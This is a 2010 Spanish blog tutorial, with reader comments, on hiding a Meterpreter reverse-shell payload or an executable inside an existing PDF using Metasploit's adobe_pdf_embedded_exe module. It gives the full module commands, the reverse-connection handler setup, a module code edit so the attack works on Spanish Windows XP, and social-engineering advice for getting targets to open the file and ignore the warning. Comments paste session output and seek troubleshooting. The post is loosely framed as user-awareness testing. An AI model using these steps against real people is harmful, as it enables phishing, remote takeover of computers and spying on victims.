lunes, 15 de febrero de 2010

Embebiendo un Ejecutable dentro de un PDF con MetaSploit

En este artículo, vamos a ver como embeber un archivo ejecutable ".exe", dentro de un archivo PDF, utilizando el módulo "adobe_pdf_embedded_exe" de MetaSploit.

Leyendo el blog de F-Secure, me encontré con un post sobre PDF maliciosos que estaban siendo utilizados para ataques de espionaje. Al ser abiertos, dropeaban y corrían un archivo ejecutable, en este caso un Poison Ivy que luego se conectaba a una IP de Singapore.


MetaSploit: adobe_pdf_embedded_exe

Para testear el comportamiento de nuestros usuarios, ante una amenaza similar a esta, podemos replicar este ataque con el módulo "adobe_pdf_embedded_exe" de MetaSploit, en donde vamos a embeber un archivo ejecutable ".exe", o un payload de MetaSploit, dentro de un archivo PDF.

Por supuesto vamos a necesitar realizar un poco de ingeniería social, primero para que la víctima abra el PDF que le enviamos, y luego, para que ignore el warning de seguridad que aparecerá cuando se intente ejecutar el payload malicioso.

Lo interesante del módulo "adobe_pdf_embedded_exe", es que nos permitirá embeber el payload en cualquier PDF existente, lo que nos allanará el camino para realizar la ingeniería social. Por ejemplo, podríamos buscar PDF's existentes de una víctima en particular en Google:


Otra cosa a tener en cuenta, es que este módulo tiene rank de Excellent, por lo que es una buena opción, ante otros exploits para client side attacks que no son tan estables.


Embebiendo un Payload de MetaSploit en un PDF

Para embeber un payload, simplemente lo configuramos como a cualquier otro exploit, solamente debemos tener en cuenta que en la opción "INFILENAME" vamos a poner el path al archivo PDF que queremos utilizar, y en la opción "FILENAME", el nombre del nuevo archivo PDF con el payload embebido:

use windows/fileformat/adobe_pdf_embedded_exe
set INFILENAME /tmp/programa.pdf
set FILENAME evil.pdf
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.102
exploit

Luego deberemos dejar escuchando por la conexión reversa que se va a generar una vez que la víctima abra el PDF:
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.102 E

Cuando la víctima abra el archivo PDF, verá un warning:



Al momento de presion "Open", el payload será dropeado en el sistema, y un script intentará correrlo. Como el target de este módulo es Windows XP SP3 English, vemos en el warning que el payload es buscado dentro de "Desktop", "My Documents" y "Documents".

Para que funcione con un XP en español, debemos agregar en el código del módulo, los directorios "Escritorio" y "Mis Documentos", y volver a generar el PDF:
# editamos el módulo:
/framework3/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb

# reemplazamos la siguiente línea:
dirs = [ "Desktop", "My Documents", "Documents" ]

# por la siguiente línea:
dirs = [ "Desktop", "My Documents", "Documents", "Escritorio", "Mis Documentos" ]

Ahora si, se ejecutará el payload, y como podemos ver, lo hicimos con un Windows XP SP2 en Español:


Si vimos atentamente el warning, pudimos apreciar que al ejecutar el payload dropeado, lo hace de esta forma: "start programa.pdf".

El archivo que enviamos a la víctima se llamaba "evil.pdf", cuando dropeo el payload lo hizo con el nombre "programa.pdf", como el nombre del PDF verdadero que configuramos oportunamente. En realidad, "programa.pdf" es un archivo ".exe", con el payload de Meterpreter, pero como el comando "start" puede correr un ejecutable, sin importar la extensión que posea, esta hecho de esta forma para que el ataque pase un poco más desapercibido.


Embebiendo un Ejecutable en un PDF

Para embeber un archivo ejecutable dentro de nuestro PDF, simplemente configuramos la opción "EXENAME". En este caso estamos embebiendo la famosa calculadora de Windows "calc.exe":

set EXENAME /tmp/calc.exe
set INFILENAME /tmp/programa.pdf
exploit

Si bien el PAYLOAD no debería ser necesario configurarlo, ya que no estamos embebiendo un payload sino el ejecutable "calc.exe", por alguna razón si no lo configuramos no nos deja seguir.

set PAYLOAD windows/shell/bind_tcp
Cuando la víctima abra el archivo PDF, verá el warning pero ya con los directorios que agregamos:


Una vez que la víctima presione "Open", se correrá el archivo ejecutable que embebimos, el famoso "calc.exe":


Eso es todo amigos :-)

Publicado por Leonardo Pigñer en KungFooSion.blogspot.com

5 comentarios:

Anónimo dijo...

Estoy usando Snow Leopard y me sale al final este error y no me crea el evil.pdf. Que estoy haciendo mal?

msf > use windows/fileformat/adobe_pdf_embedded_exe
msf exploit(adobe_pdf_embedded_exe) > set INFILENAME /Users/Carlos/Desktop/manual.pdf
INFILENAME => /Users/Carlos/Desktop/manual.pdf
msf exploit(adobe_pdf_embedded_exe) > set FILENAME evil.pdf
FILENAME => evil.pdf
msf exploit(adobe_pdf_embedded_exe) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_pdf_embedded_exe) > set LHOST 190.161.204.51
LHOST => 190.161.204.51
msf exploit(adobe_pdf_embedded_exe) > set LPORT 445
LPORT => 445
msf exploit(adobe_pdf_embedded_exe) > exploit

[-] Handler failed to bind to 190.161.204.51:445
[-] Handler failed to bind to 0.0.0.0:445
[-] Exploit failed: Permission denied - bind(2)
[*] Exploit completed, but no session was created.
msf exploit(adobe_pdf_embedded_exe) >

KungFooSion dijo...

Hola Carlos,

Parece que no podes bindear en el 445...

- Estas seguro que no tenes ningun otro servicio escuchando en ese puerto? Porque no probas con otro puerto, como el 443 por ej.

Y si no...

- Estas como root ?

- Estas seguro que no tenes ningun otro metasploit abierto o handler escuchando en ese puerto ?

Saludos,
leo

Anónimo dijo...

oye eh seguido todos los pasos, y generado el archivo evil.pdf con el embebida la calculadora, pero al ejecutarlo primero me manda un mensaje de descomprimir un archivo, y despues el mensaje de alerta que busca el archivo programa.pdf al dar aceptar en el mensaje, se supone deveria de abrir la calculadora, pero no lo hace, en que puedo estar mal???? ayudaaa

Fernando dijo...

Hola Leonardo ,consulta tego instalado el Metasploit en Windows XP,pero quise modificar el exploit para un WIN XP sp3 español y no encuentro la linea de codigo: "dirs = [ "Desktop", "My Documents", "Documents" ]
en el explot, no esta definida la variable que vos mensionaste..que puede ser? saludos

Anónimo dijo...

excelente trabajo, muchas gracias!!!

LinkWithin